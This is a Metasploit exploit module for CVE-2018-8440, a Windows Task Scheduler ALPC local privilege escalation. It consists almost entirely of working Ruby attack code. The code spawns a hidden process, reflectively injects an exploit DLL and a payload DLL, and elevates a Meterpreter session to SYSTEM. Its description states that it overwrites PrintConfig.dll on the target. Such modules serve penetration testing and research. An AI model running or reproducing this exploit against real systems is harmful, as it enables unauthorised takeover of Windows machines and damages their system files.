Microsoft Windows ALPC Task Scheduler Local Privilege Elevation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/file'  
require 'msf/core/post/windows/priv'  
require 'msf/core/post/windows/registry' #TODO: Do we need this?  
require 'msf/core/exploit/exe'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::ReflectiveDLLInjection  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows ALPC Task Scheduler Local Privilege Elevation',  
'Description' => %q(  
On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented  
by the task scheduler service can be used to write arbitrary DACLs to `.job` files located  
in `c:\windows\tasks` because the scheduler does not use impersonation when checking this  
location. Since users can create files in the `c:\windows\tasks` folder, a hardlink can be  
created to a file the user has read access to. After creating a hardlink, the vulnerability  
can be triggered to set the DACL on the linked file.  
  
WARNING:  
The PrintConfig.dll (%windir%\system32\driverstor\filerepository\prnms003*) on the target host  
will be overwritten when the exploit runs.  
  
This module has been tested against Windows 10 Pro x64.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'SandboxEscaper', # Original discovery and PoC  
'bwatters-r7', # msf module  
'asoto-r7', # msf module  
'Jacob Robles' # msf module  
],  
'Platform' => 'win',  
'SessionTypes' => ['meterpreter'],  
'Targets' =>  
[  
['Windows 10 x64', { 'Arch' => ARCH_X64 }]  
],  
'References' =>  
[  
['CVE', '2018-8440'],  
['URL', 'https://github.com/SandboxEscaper/randomrepo/'],  
],  
'DisclosureDate' => 'Aug 27 2018',  
'DefaultTarget' => 0,  
))  
  
register_options([OptString.new('PROCESS',  
[false, 'Name of process to spawn and inject dll into.', nil])  
])  
end  
  
def setup_process(process_name)  
begin  
print_status("Launching #{process_name} to host the exploit...")  
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)  
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
# Sandboxes could not allow to create a new process  
# stdapi_sys_process_execute: Operation failed: Access is denied.  
print_error('Operation failed. Trying to elevate the current process...')  
process = client.sys.process.open  
end  
process  
end  
  
def inject_magic(process, payload_dll)  
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8440', 'ALPC-TaskSched-LPE.dll')  
library_path = ::File.expand_path(library_path)  
dll_data = ''  
::File.open(library_path, 'rb') { |f| dll_data = f.read }  
  
print_status("Writing payload dll into process #{process.pid} memory")  
payload_addr = process.memory.allocate(payload_dll.length, PROT_READ | PROT_WRITE)  
written = process.memory.write(payload_addr, payload_dll)  
  
if written != payload_dll.length  
fail_with(Failure::UnexpectedReply, 'Failed to write payload to process memory')  
end  
  
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")  
exploit_mem, offset = inject_dll_data_into_process(process, dll_data)  
process.thread.create(exploit_mem + offset, payload_addr)  
end  
  
def validate_active_host  
sysinfo['Computer']  
true  
rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
false  
end  
  
def validate_target  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if sysinfo['Architecture'] == ARCH_X86  
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')  
end  
  
if sysinfo['OS'] =~ /XP/  
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')  
end  
end  
  
def exploit  
unless session.type == 'meterpreter'  
fail_with(Failure::None, 'Only meterpreter sessions are supported')  
end  
  
payload_dll = generate_payload_dll  
process_name = datastore['PROCESS'] || 'notepad.exe'  
  
print_status('Checking target...')  
unless validate_active_host  
raise Msf::Exploit::Failed, 'Could not connect to session'  
end  
validate_target  
  
print_status("Target Looks Good... trying to start #{process_name}")  
process = setup_process(process_name)  
inject_magic(process, payload_dll)  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')  
rescue Rex::Post::Meterpreter::RequestError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
print_error(e.message)  
end  
end  
`